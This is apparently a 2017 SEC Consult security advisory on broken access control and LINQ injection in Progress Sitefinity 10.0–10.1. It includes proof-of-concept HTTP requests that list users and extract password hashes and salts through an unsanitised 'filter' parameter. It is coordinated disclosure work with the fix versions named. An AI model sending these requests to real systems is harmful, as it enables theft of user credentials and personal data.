SEC Consult Vulnerability Lab Security Advisory < 20171116-0 >
=======================================================================
              title: Broken access control & LINQ injection
            product: Progress Sitefinity
 vulnerable version: 10.0, 10.1
      fixed version: >=10.1.6527.0 (internal build), 10.2
         CVE number: -
             impact: High
           homepage: http://www.sitefinity.com | https://www.progress.com
              found: 2017-08-21
                 by: M. Li (Office Singapore)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================


Vendor description:
-------------------
"Progress Sitefinity is a content management and marketing analytics
platform designed to maximize the agility needed to succeed in todayas rapidly
changing digital marketplace.
It provides developers and IT teams the tools they need to support
enterprise-level digital marketing, optimizing the customer journey by
delivering seamless personalized experiences across different technologies and
devices. Progress is a trusted source for the digital marketing innovation
needed to create transformative customer experiences that fuel business
success."

Source: http://www.sitefinity.com/about


Business recommendation:
------------------------
SEC Consult recommends applying the provided patches by the vendor immediately.

Additionally, there are strong indications for further vulnerabilities and it
is highly suggested to perform a thorough security review by security
professionals to lower the risk of using this product.


Vulnerability overview/description:
-----------------------------------
1) Broken Access Control
By using an unprotected function, a low privileged user can extract another
user's information such as email addresses, user ID, etc.


2) LINQ Injection
The identified LINQ injection enables an authenticated user to read sensitive
data from the database. Specifically, an attacker can query the password
or its hash character by character. Depending on the version of LINQ assembly
in use, remote code execution could be possible as well.

Combining the two issues, a user could escalate her privileges.


Proof of concept:
-----------------
1) Broken Access Control
A user with a low privileged role e.g. "BackendUsers" can obtain other users'
information including email, userid etc., which is not intended for a user with
this role. The function disclosing the information is "GenericItemsService.svc"
laid under path "Common", which is in general not protected based on the role.

GET
/Sitefinity/Services/Common/GenericItemsService.svc/?itemType=Telerik.Sitefinity.Security.Model.User&itemSurrogateType=Telerik.Sitefinity.Security.Web.Services.WcfMembershipUser
HTTP/1.1
Host: [host]
...snip...

HTTP/1.1 200 OK
...snip...
{
    "Context":null,
    "IsGeneric":false,
    "Items":[
        ...snip...
        {
            ...snip...
            "Email":"test0@local.host",
            ...snip...

            ],
            "UserID":"cb21e9a9-992c-4f8f-9800-b03c9639b02a"
        }
    ],
    "TotalCount":3
}


2) LINQ Injection
The aforementioned function "GenericItemsService.svc", which can be invoked by
any authenticated user regardless of her privilege, can be augmented by the
parameter "filter", narrowing down the user list. However, this parameter does
not undergo any sanitization hence properties like "password" can be queried
character by character.

For instance, the request in example 1 is asking the server whether any user
has the password containing "2klv". Upon a correct guess, the reply contains
matching users' attributes. By sending multiple such queries, an attacker can
deduce the user's password hash, salt, etc. In example 2, function "Users.svc"
can be used only by users with administrator privilege.

It could also be possible to extract the password in cleartext, if the default
setting for membership format is changed.

Furthermore, depending on the third party assembly System.Linq, the issue
could be abused to execute code on the server.


Example 1:
GET
/Sitefinity/Services/Common/GenericItemsService.svc/?itemType=Telerik.Sitefinity.Security.Model.User&itemSurrogateType=Telerik.Sitefinity.Security.Web.Services.WcfMembershipUser&filter=(password.ToUpper().Contains(%222klv%22.ToUpper()))
HTTP/1.1

Example 2:
GET
/Sitefinity/Services/Security/Users.svc/?roleId=&roleProvider=&forAllProviders=false&filter=(salt.ToUpper().Contains(%225d%22.ToUpper()))
HTTP/1.1


Vulnerable / tested versions:
-----------------------------
Progress Sitefinity 10.0 and 10.1 have been tested. Version 10.1 was the latest
at the time the vulnerability was discovered. It is assumed earlier versions
of this product are also vulnerable to the issues.


Vendor contact timeline:
------------------------
2017-08-22: Contacting vendor through email
2017-08-23: Contacting vendor's security group
2017-08-23: Sending unencrypted advisory to Sitefinity Product Management
            as requested by vendor
2017-08-28: Vendor acknowledged the issues
2017-10-17: Asking for update. Vendor replies that a fix will be released within
            2-3 weeks
2017-11-06: Vendor states the issues are fixed in version 10.1.6527.0
2017-11-14: Asking vendor where fixed version can be found
2017-11-14: Vendor releases version 10.2
2017-11-16: Coordinated release of security advisory


Solution:
---------
According to the vendor, all the identified issues have been fixed in
version 10.1.6527.0 (internal build) and release 10.2.

https://www.sitefinity.com/product/version-notes/sitefinity-10.2
https://www.sitefinity.com/developer-network/forums/internal-builds/sitefinity-10.1-internal-builds#Hlb1FcE3622pWP8AAERlJg

Please update to the latest version immediately.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


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Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

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EOF M. Li / @2017